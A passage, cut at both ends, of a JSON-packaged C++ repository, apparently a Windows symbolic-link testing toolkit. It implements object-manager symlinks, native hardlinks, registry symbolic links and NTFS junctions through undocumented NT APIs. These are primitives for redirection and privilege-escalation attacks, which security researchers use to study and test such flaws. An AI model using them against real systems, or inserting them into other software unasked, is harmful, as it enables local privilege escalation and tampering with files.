false;\n\tother.m_hlink = nullptr;\n}\n\nFileSymlink& FileSymlink::operator=(FileSymlink&& other)\n{\n\tm_created_junction = other.m_created_junction;\n\tm_hlink = other.m_hlink;\n\tm_junctiondir = other.m_junctiondir;\n\tm_linkname = other.m_linkname;\n\tm_target = other.m_target;\n\n\tother.m_created_junction = false;\n\tother.m_hlink = nullptr;\n\n\treturn *this;\n}\n\nstatic void RemovePermanentSymlink(LPCWSTR symlink, LPCWSTR target)\n{\n\tDefineDosDeviceW(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION |\n\t\tDDD_EXACT_MATCH_ON_REMOVE, symlink, target);\n\tDefineDosDeviceW(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION |\n\t\tDDD_EXACT_MATCH_ON_REMOVE, symlink, target);\n}\n\nstatic bool CreatePermanentSymlink(LPCWSTR symlink, LPCWSTR target)\n{\n\tif (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, symlink, target) \n\t\t&& DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, symlink, target))\n\t{\n\t\treturn true;\n\t}\n\treturn false;\n}\n\nbool FileSymlink::CreateSymlink(LPCWSTR xsymlink, LPCWSTR xtarget, LPCWSTR xbaseobjdir)\n{\n\tbstr_t symlink = xsymlink;\t\n\tbstr_t baseobjdir = L\"\\\\RPC Control\";\n\n\tif (xbaseobjdir)\n\t{\n\t\tbaseobjdir = xbaseobjdir;\n\t}\n\n\tBOOL isnative;\t\n\n\tbstr_t linkname = GetNativePath(symlink, &isnative);\n\tif (linkname.length() == 0)\n\t{\n\t\treturn 1;\n\t}\n\n\tif (!isnative)\n\t{\n\t\twchar_t* slash = wcsrchr(symlink.GetBSTR(), L'\\\\');\n\t\tif (slash == nullptr)\n\t\t{\n\t\t\tDebugPrintf(\"Error must supply a directory and link name\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\tlinkname = baseobjdir + slash;\n\n\t\t*slash = 0;\n\n\t\tm_junctiondir = symlink;\n\n\t\tif (!CreateDirectory(m_junctiondir, nullptr) && GetLastError() != ERROR_ALREADY_EXISTS)\n\t\t{\n\t\t\tDebugPrintf(\"Couldn't create symlink directory\\n\");\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tbstr_t destdir = baseobjdir;\n\n\t\tif (!ReparsePoint::CreateMountPoint(m_junctiondir.GetBSTR(), destdir.GetBSTR(), L\"\"))\n\t\t{\n\t\t\tDebugPrintf(\"Error creating junction %d\\n\", ReparsePoint::GetLastError());\n\t\t\treturn false;\n\t\t}\t\t\n\n\t\tm_created_junction = true;\n\t}\n\n\tbstr_t target = GetNativePath(xtarget, &isnative);\n\tif (target.length() == 0)\n\t{\n\t\treturn false;\n\t}\n\n\tif (!isnative)\n\t{\n\t\ttarget = L\"\\\\??\\\\\" + target;\n\t}\n\n\tif (m_permanent)\n\t{\n\t\tlinkname = L\"Global\\\\GLOBALROOT\" + linkname;\n\n\t\tif (!CreatePermanentSymlink(linkname, target))\n\t\t{\n\t\t\tDebugPrintf(\"Error creating symlink %ls\\n\", GetErrorMessage().c_str());\n\t\t\treturn false;\n\t\t}\n\t}\n\telse\n\t{\n\t\tm_hlink = ::CreateSymlink(nullptr, linkname, target);\n\t\tif (!m_hlink)\n\t\t{\n\t\t\treturn false;\n\t\t}\t\t\n\t}\n\n\tm_linkname = linkname;\n\tm_target = target;\n\n\treturn true;\n}\n\n\nbool FileSymlink::ChangeSymlink(LPCWSTR newtarget)\n{\n\tBOOL isnative;\n\n\tbstr_t target = GetNativePath(newtarget, &isnative);\n\tif (target.length() == 0)\n\t{\n\t\treturn false;\n\t}\n\n\tif (!isnative)\n\t{\n\t\ttarget = L\"\\\\??\\\\\" + target;\n\t}\n\n\tif (m_permanent)\n\t{\n\t\tRemovePermanentSymlink(m_linkname, m_target);\n\t\tif (!CreatePermanentSymlink(m_linkname, target))\n\t\t{\n\t\t\treturn false;\n\t\t}\t\t\n\t}\n\telse\n\t{\n\t\tif (!m_hlink)\n\t\t{\n\t\t\tSetLastError(ERROR_INVALID_PARAMETER);\n\t\t\treturn false;\n\t\t}\n\n\t\tCloseHandle(m_hlink);\n\t\tm_hlink = nullptr;\n\n\n\t\tm_hlink = ::CreateSymlink(nullptr, m_linkname, target);\n\t\tif (!m_hlink)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tm_target = target;\n\n\treturn true;\n}"
  },
  {
    "path": "CommonUtils/FileSymlink.h",
    "content": "#pragma once\n#include <comdef.h>\n\nclass FileSymlink\n{\t\n\tbstr_t m_junctiondir;\n\tbstr_t m_linkname;\n\tbstr_t m_target;\n\tbool m_created_junction;\n\tHANDLE m_hlink;\t\n\tbool m_permanent;\n\npublic:\n\tFileSymlink(bool permanent);\n\tFileSymlink();\n\tFileSymlink(FileSymlink&& other);\n\tFileSymlink& operator=(FileSymlink&& other);\n\tFileSymlink(const FileSymlink& other) = delete;\n\tFileSymlink& operator=(const FileSymlink& other) = delete;\n\n\tbool CreateSymlink(LPCWSTR symlink, LPCWSTR target, LPCWSTR baseobjdir);\n\tbool ChangeSymlink(LPCWSTR newtarget);\t\n\n\t~FileSymlink();\n};\n\n"
  },
  {
    "path": "CommonUtils/Hardlink.cpp",
    "content": "//  Copyright 2015 Google Inc. All Rights Reserved.\n//\n//  Licensed under the Apache License, Version 2.0 (the \"License\");\n//  you may not use this file except in compliance with the License.\n//  You may obtain a copy of the License at\n//\n//  http ://www.apache.org/licenses/LICENSE-2.0\n//\n//  Unless required by applicable law or agreed to in writing, software\n//  distributed under the License is distributed on an \"AS IS\" BASIS,\n//  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//  See the License for the specific language governing permissions and\n//  limitations under the License.\n\n#include \"stdafx.h\"\n#include \"CommonUtils.h\"\n#include \"ntimports.h\"\n#include \"typed_buffer.h\"\n\nbool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname)\n{\n\tstd::wstring full_linkname = BuildFullPath(linkname, true);\n\tsize_t len = full_linkname.size() * sizeof(WCHAR);\n\n\ttyped_buffer_ptr<FILE_LINK_INFORMATION> link_info(sizeof(FILE_LINK_INFORMATION) + len - sizeof(WCHAR));\n\n\tmemcpy(&link_info->FileName[0], full_linkname.c_str(), len);\n\tlink_info->ReplaceIfExists = TRUE;\n\tlink_info->FileNameLength = len;\n\n\tstd::wstring full_targetname = BuildFullPath(targetname, true);\n\t\n\tHANDLE hFile = OpenFileNative(full_targetname.c_str(), nullptr, MAXIMUM_ALLOWED, FILE_SHARE_READ, 0);\n\tif (hFile)\n\t{\n\t\tDEFINE_NTDLL(ZwSetInformationFile);\n\t\tIO_STATUS_BLOCK io_status = { 0 };\n\n\t\tNTSTATUS status = fZwSetInformationFile(hFile, &io_status, link_info, link_info.size(), FileLinkInformation);\n\t\tCloseHandle(hFile);\n\t\tif (NT_SUCCESS(status))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\tSetNtLastError(status);\n\t}\n\t\n\treturn false;\t\n}"
  },
  {
    "path": "CommonUtils/NativeSymlink.cpp",
    "content": "//  Copyright 2015 Google Inc. All Rights Reserved.\n//\n//  Licensed under the Apache License, Version 2.0 (the \"License\");\n//  you may not use this file except in compliance with the License.\n//  You may obtain a copy of the License at\n//\n//  http ://www.apache.org/licenses/LICENSE-2.0\n//\n//  Unless required by applicable law or agreed to in writing, software\n//  distributed under the License is distributed on an \"AS IS\" BASIS,\n//  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//  See the License for the specific language governing permissions and\n//  limitations under the License.\n\n#include \"stdafx.h\"\n#include \"CommonUtils.h\"\n#include \"ntimports.h\"\n\nHANDLE CreateSymlink(HANDLE root, LPCWSTR linkname, LPCWSTR targetname)\n{\n\tDEFINE_NTDLL(RtlInitUnicodeString);\n\tDEFINE_NTDLL(NtCreateSymbolicLinkObject);\n\t\n\tOBJECT_ATTRIBUTES objAttr;\n\tUNICODE_STRING name;\n\tUNICODE_STRING target;\n\n\tfRtlInitUnicodeString(&name, linkname);\n\tfRtlInitUnicodeString(&target, targetname);\n\n\tInitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, root, nullptr);\t\n\n\tHANDLE hLink;\n\n\tNTSTATUS status = fNtCreateSymbolicLinkObject(&hLink, \n\t\tSYMBOLIC_LINK_ALL_ACCESS, &objAttr, &target);\n\tif (status == 0)\n\t{\n\t\tDebugPrintf(\"Opened Link %ls -> %ls: %p\\n\", linkname, targetname, hLink);\n\t\treturn hLink;\n\t}\n\telse\n\t{\n\t\tSetLastError(NtStatusToDosError(status));\n\t\treturn nullptr;\n\t}\n}\n\nHANDLE OpenSymlink(HANDLE root, LPCWSTR linkname)\n{\n\tDEFINE_NTDLL(RtlInitUnicodeString);\n\tDEFINE_NTDLL(NtOpenSymbolicLinkObject);\n\n\tOBJECT_ATTRIBUTES objAttr;\n\tUNICODE_STRING name;\t\n\n\tfRtlInitUnicodeString(&name, linkname);\t\n\n\tInitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, root, nullptr);\n\n\tHANDLE hLink;\n\n\tNTSTATUS status = fNtOpenSymbolicLinkObject(&hLink,\n\t\tSYMBOLIC_LINK_ALL_ACCESS, &objAttr);\n\tif (status == 0)\n\t{\t\t\n\t\treturn hLink;\n\t}\n\telse\n\t{\n\t\tSetLastError(NtStatusToDosError(status));\n\t\treturn nullptr;\n\t}\n}"
  },
  {
    "path": "CommonUtils/RegistrySymlink.cpp",
    "content": "//  Copyright 2015 Google Inc. All Rights Reserved.\n//\n//  Licensed under the Apache License, Version 2.0 (the \"License\");\n//  you may not use this file except in compliance with the License.\n//  You may obtain a copy of the License at\n//\n//  http ://www.apache.org/licenses/LICENSE-2.0\n//\n//  Unless required by applicable law or agreed to in writing, software\n//  distributed under the License is distributed on an \"AS IS\" BASIS,\n//  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//  See the License for the specific language governing permissions and\n//  limitations under the License.\n\n#include \"stdafx.h\"\n#include <comdef.h>\n#include <vector>\n#include <sddl.h>\n#include <winternl.h>\n#include \"CommonUtils.h\"\n\n#define INTERNAL_REG_OPTION_CREATE_LINK      (0x00000002L)\n#define INTERNAL_REG_OPTION_OPEN_LINK        (0x00000100L)\n\ntypedef NTSTATUS(__stdcall *fNtCreateKey)(\n\tPHANDLE KeyHandle,\n\tULONG DesiredAccess,\n\tPOBJECT_ATTRIBUTES ObjectAttributes,\n\tULONG TitleIndex,\n\tPUNICODE_STRING Class,\n\tULONG CreateOptions,\n\tPULONG Disposition\n\t);\n\ntypedef NTSTATUS (__stdcall *fNtOpenKeyEx)(\n\tPHANDLE KeyHandle,\n\tACCESS_MASK DesiredAccess,\n\tPOBJECT_ATTRIBUTES ObjectAttributes,\n\tULONG OpenOptions\n\t);\n\n\ntypedef NTSTATUS(__stdcall *fNtSetValueKey)(\n\tHANDLE  KeyHandle,\n\tPUNICODE_STRING  ValueName,\n\tULONG  TitleIndex,\n\tULONG  Type,\n\tPVOID  Data,\n\tULONG  DataSize\n\t);\n\ntypedef NTSTATUS(__stdcall *fNtDeleteKey)(\n\tHANDLE KeyHandle\n\t);\n\ntypedef NTSTATUS(__stdcall *fNtClose)(\n\tHANDLE Handle\n\t);\n\nFARPROC GetProcAddressNT(LPCSTR lpName);\n\ntypedef VOID(NTAPI *fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);\n\nstatic bstr_t GetUserSid()\n{\n\tHANDLE hToken;\n\n\tOpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);\n\n\tDWORD dwSize;\n\n\tGetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize);\n\n\tstd::vector<BYTE> userbuffer(dwSize);\n\n\tGetTokenInformation(hToken, TokenUser, &userbuffer[0], dwSize, &dwSize);\n\n\tPTOKEN_USER user = reinterpret_cast<PTOKEN_USER>(&userbuffer[0]);\n\n\tLPWSTR lpUser;\n\tbstr_t ret = L\"\";\n\n\tif (ConvertSidToStringSid(user->User.Sid, &lpUser))\n\t{\n\t\tret = lpUser;\n\t\tLocalFree(lpUser);\n\t}\n\n\treturn ret;\n}\n\nstatic bstr_t RegPathToNative(LPCWSTR lpPath)\n{\n\tbstr_t regpath = L\"\\\\Registry\\\\\";\n\n\t// Already native rooted\n\tif (lpPath[0] == '\\\\')\n\t{\n\t\treturn lpPath;\n\t}\n\n\tif (_wcsnicmp(lpPath, L\"HKLM\\\\\", 5) == 0)\n\t{\n\t\treturn regpath + L\"Machine\\\\\" + &lpPath[5];\n\t}\n\telse if (_wcsnicmp(lpPath, L\"HKU\\\\\", 4) == 0)\n\t{\n\t\treturn regpath + L\"User\\\\\" + &lpPath[4];\n\t}\n\telse if (_wcsnicmp(lpPath, L\"HKCU\\\\\", 5) == 0)\n\t{\n\t\treturn regpath + L\"User\\\\\" + GetUserSid() + L\"\\\\\" + &lpPath[5];\n\t}\n\telse\n\t{\n\t\tDebugPrintf(\"Registry path %ls must be absolute or start with HKLM, HKU or HKCU\\n\");\n\t\treturn L\"\";\n\t}\n}\n\nbool CreateRegSymlink(LPCWSTR lpSymlink, LPCWSTR lpTarget, bool bVolatile)\n{\n\tbstr_t symlink = RegPathToNative(lpSymlink);\n\tbstr_t target = RegPathToNative(lpTarget);\n\n\tif (symlink.length() == 0 || target.length() == 0)\n\t{\n\t\treturn false;\n\t}\n\n\tDebugPrintf(\"Creating registry link from %ls to %ls\\n\", symlink.GetBSTR(), target.GetBSTR());\n\n\tfNtCreateKey pfNtCreateKey = (fNtCreateKey)GetProcAddressNT(\"NtCreateKey\");\n\tfNtSetValueKey pfNtSetValueKey = (fNtSetValueKey)GetProcAddressNT(\"NtSetValueKey\");\n\tfRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT(\"RtlInitUnicodeString\");\n\n\tOBJECT_ATTRIBUTES obj_attr;\n\tUNICODE_STRING name;\n\n\tpfRtlInitUnicodeString(&name, symlink);\n\tInitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);\n\tHANDLE hKey;\n\tULONG disposition;\n\n\tNTSTATUS status = pfNtCreateKey(&hKey, KEY_ALL_ACCESS, &obj_attr, 0, nullptr, \n\t\tINTERNAL_REG_OPTION_CREATE_LINK | (bVolatile ? REG_OPTION_VOLATILE : REG_OPTION_NON_VOLATILE), &disposition);\n\n\tif (status == 0)\n\t{\n\t\tUNICODE_STRING value_name;\n\n\t\tpfRtlInitUnicodeString(&value_name, L\"SymbolicLinkValue\");\n\n\t\tstatus = pfNtSetValueKey(hKey, &value_name, 0, REG_LINK, target.GetBSTR(), target.length() * sizeof(WCHAR));\t\t\n\t\tCloseHandle(hKey);\n\n\t\tif (status != 0)\n\t\t{\n\t\t\tSetLastError(NtStatusToDosError(status));\n\t\t\treturn false;\n\t\t}\n\t}\n\telse\n\t{\n\t\tSetLastError(NtStatusToDosError(status));\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nbool DeleteRegSymlink(LPCWSTR lpSymlink)\n{\n\tfNtOpenKeyEx pfNtOpenKeyEx = (fNtOpenKeyEx)GetProcAddressNT(\"NtOpenKeyEx\");\n\tfNtDeleteKey pfNtDeleteKey = (fNtDeleteKey)GetProcAddressNT(\"NtDeleteKey\");\n\tfRtlInitUnicodeString pfRtlInitUnicodeString = (fRtlInitUnicodeString)GetProcAddressNT(\"RtlInitUnicodeString\");\n\n\tOBJECT_ATTRIBUTES obj_attr;\n\tUNICODE_STRING name;\n\n\tbstr_t symlink = RegPathToNative(lpSymlink);\n\n\tif (symlink.length() == 0)\n\t{\n\t\treturn false;\n\t}\n\n\tpfRtlInitUnicodeString(&name, symlink);\n\n\tInitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE | OBJ_OPENLINK, nullptr, nullptr);\n\n\tHANDLE hKey;\n\tNTSTATUS status = pfNtOpenKeyEx(&hKey, DELETE, &obj_attr, 0);\n\tif (status == 0)\n\t{\n\t\tstatus = pfNtDeleteKey(hKey);\n\t\tCloseHandle(hKey);\n\n\t\tif (status != 0)\n\t\t{\n\t\t\tSetLastError(NtStatusToDosError(status));\n\t\t\treturn false;\n\t\t}\n\t}\n\telse\n\t{\n\t\tSetLastError(NtStatusToDosError(status));\n\n\t\treturn false;\n\t}\n\n\treturn true;\n}"
  },
  {
    "path": "CommonUtils/ReparsePoint.cpp",
    "content": "//  Copyright 2015 Google Inc. All Rights Reserved.\n//\n//  Licensed under the Apache License, Version 2.0 (the \"License\");\n//  you may not use this file except in compliance with the License.\n//  You may obtain a copy of the License at\n//\n//  http ://www.apache.org/licenses/LICENSE-2.0\n//\n//  Unless required by applicable law or agreed to in writing, software\n//  distributed under the License is distributed on an \"AS IS\" BASIS,\n//  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//  See the License for the specific language governing permissions and\n//  limitations under the License.\n\n#include \"stdafx.h\"\n#include \"ReparsePoint.h\"\n#include \"ScopedHandle.h\"\n#include \"typed_buffer.h\"\n#include <string>\n#include <vector>\n\n// Taken from ntifs.h\n#define SYMLINK_FLAG_RELATIVE   1\n\ntypedef struct _REPARSE_DATA_BUFFER {\n\tULONG  ReparseTag;\n\tUSHORT ReparseDataLength;\n\tUSHORT Reserved;\n\tunion {\n\t\tstruct {\n\t\t\tUSHORT SubstituteNameOffset;\n\t\t\tUSHORT SubstituteNameLength;\n\t\t\tUSHORT PrintNameOffset;\n\t\t\tUSHORT PrintNameLength;\n\t\t\tULONG Flags;\n\t\t\tWCHAR PathBuffer[1];\n\t\t} SymbolicLinkReparseBuffer;\n\t\tstruct {\n\t\t\tUSHORT SubstituteNameOffset;\n\t\t\tUSHORT SubstituteNameLength;\n\t\t\tUSHORT PrintNameOffset;\n\t\t\tUSHORT PrintNameLength;\n\t\t\tWCHAR PathBuffer[1];\n\t\t} MountPointReparseBuffer;\n\t\tstruct {\n\t\t\tUCHAR  DataBuffer[1];\n\t\t} GenericReparseBuffer;\n\t} DUMMYUNIONNAME;\n} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;\n\n#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)\n\n#define IO_REPARSE_TAG_MOUNT_POINT              (0xA0000003L)       // winnt\n#define IO_REPARSE_TAG_HSM                      (0xC0000004L)       // winnt\n#define IO_REPARSE_TAG_DRIVE_EXTENDER           (0x80000005L)\n#define IO_REPARSE_TAG_HSM2                     (0x80000006L)       // winnt\n#define IO_REPARSE_TAG_SIS                      (0x80000007L)       // winnt\n#define IO_REPARSE_TAG_WIM                      (0x80000008L)       // winnt\n#define IO_REPARSE_TAG_CSV                      (0x80000009L)       // winnt\n#define IO_REPARSE_TAG_DFS                      (0x8000000AL)       // winnt\n#define IO_REPARSE_TAG_FILTER_MANAGER           (0x8000000BL)\n#define IO_REPARSE_TAG_SYMLINK                  (0xA000000CL)       // winnt\n#define IO_REPARSE_TAG_IIS_CACHE                (0xA0000010L)\n#define IO_REPARSE_TAG_DFSR                     (0x80000012L)       // winnt\n#define IO_REPARSE_TAG_DEDUP                    (0x80000013L)       // winnt\n#define IO_REPARSE_TAG_APPXSTRM                 (0xC0000014L)\n#define IO_REPARSE_TAG_NFS                      (0x80000014L)       // winnt\n#define IO_REPARSE_TAG_FILE_PLACEHOLDER         (0x80000015L)       // winnt\n#define IO_REPARSE_TAG_DFM                      (0x80000016L)\n#define IO_REPARSE_TAG_WOF                      (0x80000017L)       // winnt\n\nstatic int g_last_error = 0;\n\nint ReparsePoint::GetLastError()\n{\n\treturn g_last_error;\n}\n\nScopedHandle OpenReparsePoint(const std::wstring& path, bool writable)\n{\n\tHANDLE h = CreateFile(path.c_str(),\n\t\tGENERIC_READ | (writable ? GENERIC_WRITE : 0),\n\t\t0,\n\t\t0,\n\t\tOPEN_EXISTING,\n\t\tFILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,\n\t\t0);\n\n\tif (h == INVALID_HANDLE_VALUE)\n\t{\n\t\tg_last_error = GetLastError();\n\t}\n\n\treturn ScopedHandle(h, false);\n}\n\nstatic bool SetReparsePoint(const ScopedHandle& handle, typed_buffer_ptr<REPARSE_DATA_BUFFER>& reparse_buffer)\n{\n\tDWORD cb;\n\tif (!handle.IsValid()) {\n\t\treturn false;\n\t}\n\t\n\tbool ret = DeviceIoControl(handle, FSCTL_SET_REPARSE_POINT,\n\t\treparse_buffer, reparse_buffer.size(), nullptr, 0, &cb, nullptr) == TRUE;\n\tif (!ret)\n\t{\n\t\tg_last_error = GetLastError();\n\t}\n\n\treturn ret;\n}\n\nstatic bool DeleteReparsePoint(const ScopedHandle& handle, PREPARSE_GUID_DATA_BUFFER reparse_buffer)\n{\n\tDWORD cb;\n\tif (!handle.IsValid()) {\n\t\treturn false;\n\t}\n\t\t\n\tbool ret = DeviceIoControl(handle,\n\t\tFSCTL_DELETE_REPARSE_POINT,\n\t\treparse_buffer,\n\t\tREPARSE_GUID_DATA_BUFFER_HEADER_SIZE,\n\t\tnullptr,\n\t\t0,\n\t\t&cb,\n\t\t0) == TRUE;\n\n\tif (!ret)\n\t{\n\t\tg_last_error = GetLastError();\n\t}\n\n\treturn ret;\n}\n\ntyped_buffer_ptr<REPARSE_DATA_BUFFER> BuildMountPoint(const std::wstring& target, const std::wstring& printname)\n{\t\n\tconst size_t target_byte_size = target.size() * 2;\n\tconst size_t printname_byte_size = printname.size() * 2;\n\tconst size_t path_buffer_size = target_byte_size + printname_byte_size + 8 + 4;\n\tconst size_t total_size = path_buffer_size + REPARSE_DATA_BUFFER_HEADER_LENGTH;\n\ttyped_buffer_ptr<REPARSE_DATA_BUFFER> buffer(total_size);\n\n\tbuffer->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;\t\n  buffer->ReparseDataLength = static_cast<USHORT>(path_buffer_size);\n\tbuffer->Reserved = 0;\n\t\n\tbuffer->MountPointReparseBuffer.SubstituteNameOffset = 0;\n\tbuffer->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(target_byte_size);\n\tmemcpy(buffer->MountPointReparseBuffer.PathBuffer, target.c_str(), target_byte_size + 2);\n  buffer->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(target_byte_size + 2);\n\tbuffer->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printname_byte_size);\n\tmemcpy(buffer->MountPointReparseBuffer.PathBuffer + target.size() + 1, printname.c_str(), printname_byte_size + 2);\n\n\treturn buffer;\n}\n\ntyped_buffer_ptr<REPARSE_DATA_BUFFER> BuildSymlink(const std::wstring& target, const std::wstring& printname, bool relative)\n{\n\tconst size_t target_byte_size = target.size() * 2;\n\tconst size_t printname_byte_size = printname.size() * 2;\n\tconst size_t path_buffer_size = target_byte_size + printname_byte_size + 12 + 4;\n\tconst size_t total_size = path_buffer_size + REPARSE_DATA_BUFFER_HEADER_LENGTH;\n\ttyped_buffer_ptr<REPARSE_DATA_BUFFER> buffer(total_size);\n\n\tbuffer->ReparseTag = IO_REPARSE_TAG_SYMLINK;\n\tbuffer->ReparseDataLength = static_cast<USHORT>(path_buffer_size);\n\tbuffer->Reserved = 0;\n\n\tbuffer->SymbolicLinkReparseBuffer.SubstituteNameOffset = 0;\n\tbuffer->SymbolicLinkReparseBuffer.SubstituteNameLength = static_cast<USHORT>(target_byte_size);\n\tmemcpy(buffer->SymbolicLinkReparseBuffer.PathBuffer, target.c_str(), target_byte_size + 2);\n\tbuffer->SymbolicLinkReparseBuffer.PrintNameOffset = static_cast<USHORT>(target_byte_size + 2);\n\tbuffer->SymbolicLinkReparseBuffer.PrintNameLength = static_cast<USHORT>(printname_byte_size);\n\tmemcpy(buffer->SymbolicLinkReparseBuffer.PathBuffer + target.size() + 1, printname.c_str(), printname_byte_size + 2);\n\tbuffer->SymbolicLinkReparseBuffer.Flags = relative ? SYMLINK_FLAG_RELATIVE : 0;\n\n\treturn buffer;\n}\n\nstatic bool CreateMountPointInternal(const std::wstring& path, typed_buffer_ptr<REPARSE_DATA_BUFFER>& buffer)\n{\n\tScopedHandle handle = OpenReparsePoint(path, true);\n\n\tif (!handle.IsValid())\n\t{\n\t\treturn false;\n\t}\n\n\treturn SetReparsePoint(handle, buffer);\n}\n\nstatic bool CreateMountPointInternal(const ScopedHandle& handle, typed_buffer_ptr<REPARSE_DATA_BUFFER>& buffer)\n{\n\treturn SetReparsePoint(handle, buffer);\n}\n\nstd::wstring FixupPath(std::wstring str)\n{\n\tif (str[0] != '\\\\')\n\t{\n\t\treturn L\"\\\\??\\\\\" + str;\n\t}\n\n\treturn str;\n}\n\nbool ReparsePoint::CreateMountPoint(const std::wstring& path, const std::wstring& target, const std::wstring& printname)\n{\t\n\tif (target.length() == 0)\n\t{\n\t\treturn false;\n\t}\n\n\treturn CreateMountPointInternal(path, BuildMountPoint(FixupPath(target), printname));\n}\n\nbool ReparsePoint::CreateSymlink(const std::wstring& path, const std::wstring& target, const std::wstring& printname, bool relative)\n{\t\n\tif (target.length() == 0)\n\t{\n\t\treturn false;\n\t}\n\n\treturn CreateMountPointInternal(path, BuildSymlink(!relative ? FixupPath(target) : target, printname, relative));\t\n}\n\nbool ReparsePoint::CreateSymlink(HANDLE h, const std::wstring& target, const std::wstring& printname, bool relative)\n{\n\tScopedHandle handle(h, true);\n\n\tif (!handle.IsValid())\n\t{\n\t\treturn false;\n\t}\n\n\treturn CreateMountPointInternal(handle, BuildSymlink(!relative ? FixupPath(target) : target, printname, relative));\n}\n\nbool ReparsePoint::DeleteMountPoint(const std::wstring& path)\n{\n\tREPARSE_GUID_DATA_BUFFER reparse_buffer = { 0 };\n\treparse_buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;\n\n\tScopedHandle handle = OpenReparsePoint(path, true);\n\n\treturn DeleteReparsePoint(handle, &reparse_buffer);\n}\n\nbool ReparsePoint::CreateRawMountPoint(const std::wstring& path, DWORD reparse_tag, const std::vector<BYTE>& buffer)\n{\n\ttyped_buffer_ptr<REPARSE_DATA_BUFFER> reparse_buffer(8 + buffer.size());\n\n\treparse_buffer->ReparseTag = reparse_tag;\n\treparse_buffer->ReparseDataLength = static_cast<USHORT>(buffer.size());\n\treparse_buffer->Reserved = 0;\n\tmemcpy(reparse_buffer->GenericReparseBuffer.DataBuffer, &buffer[0], buffer.size());\n\n\treturn CreateMountPointInternal(path, reparse_buffer);\n}\n\nstatic typed_buffer_ptr<REPARSE_DATA_BUFFER> GetReparsePointData(ScopedHandle handle)\n{\n\ttyped_buffer_ptr<REPARSE_DATA_BUFFER> buf(MAXIMUM_REPARSE_DATA_BUFFER_SIZE);\n\t\n\tDWORD dwBytesReturned;\n\tif (!DeviceIoControl(handle,\n\t\tFSCTL_GET_REPARSE_POINT,\n\t\tNULL,\n\t\t0,\n\t\t(LPVOID)buf,\n\t\tbuf.size(),\n\t\t&dwBytesReturned,\n\t\t0)\n\t\t)\n\t{\n\t\tg_last_error = GetLastError();\n\t\tbuf.reset(0);\n\t}\n\n\treturn buf;\n}\n\nstd::wstring ReparsePoint::GetMountPointTarget(const std::wstring& path)\n{\n\tScopedHandle handle = OpenReparsePoint(path, false);\n\tif (!handle.IsValid())\n\t{\n\t\treturn L\"\";\n\t}\n\n\ttyped_buffer_ptr<REPARSE_DATA_BUFFER> buf = GetReparsePointData(handle);\n\n\tif (buf.size() == 0)\n\t{\n\t\treturn L\"\";\n\t}\n\n\tif (buf->ReparseTag != IO_REPARSE_TAG_MOUNT_POINT)\n\t{\n\t\tg_last_error = ERROR_REPARSE_TAG_MISMATCH;\n\t\treturn L\"\";\n\t}\n\n\tWCHAR* base = &buf->MountPointReparseBuffer.PathBuffer[buf->MountPointReparseBuffer.SubstituteNameOffset / 2];\n\n\treturn std::wstring(base, base + (buf->MountPointReparseBuffer.SubstituteNameLength / 2));\n}\n\nbool ReparsePoint::IsReparsePoint(const std::wstring& path)\n{\n\tScopedHandle handle = OpenReparsePoint(path, false);\n\tBY_HANDLE_FILE_INFORMATION file_info = { 0 };\t\n\n\treturn handle.IsValid() && GetFileInformationByHandle(handle, &file_info) && file_info.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT;\n}\n\nstatic bool ReadReparsePoint(const std::wstring& path, typed_buffer_ptr<REPARSE_DATA_BUFFER>& reparse_buffer)\n{\n\tScopedHandle handle = OpenReparsePoint(path, false);\n\treparse_buffer.reset(4096);\n\tDWORD dwSize;\n\n\tbool ret = DeviceIoControl(handle, FSCTL_GET_REPARSE_POINT, nullptr, 0, reparse_buffer, reparse_buffer.size(), &dwSize, nullptr) == TRUE;\n\tif (!ret)\n\t{\n\t\tg_last_error = GetLastError();\n\t\treturn false;\n\t}\t\n\telse\n\t{\n\t\treparse_buffer.resize(dwSize);\n\t\treturn true;\n\t}\n}\n\nstatic bool IsReparseTag(const std::wstring& path, DWORD reparse_tag)\n{\n\ttyped_buffer_ptr<REPARSE_DATA_BUFFER> buffer;\n\n\tif (ReadReparsePoint(path, buffer))\n\t{\n\t\treturn buffer->ReparseTag == reparse_tag;\n\t}\n\telse\n\t{\n\t\treturn false;\n\t}\n}\n\nbool ReparsePoint::IsMountPoint(const std::wstring& path)\n{\n\treturn IsReparseTag(path, IO_REPARSE_TAG_MOUNT_POINT);\n}\n\nbool ReparsePoint::IsSymlink(const std::wstring& path)\n{\n\treturn IsReparseTag(path, 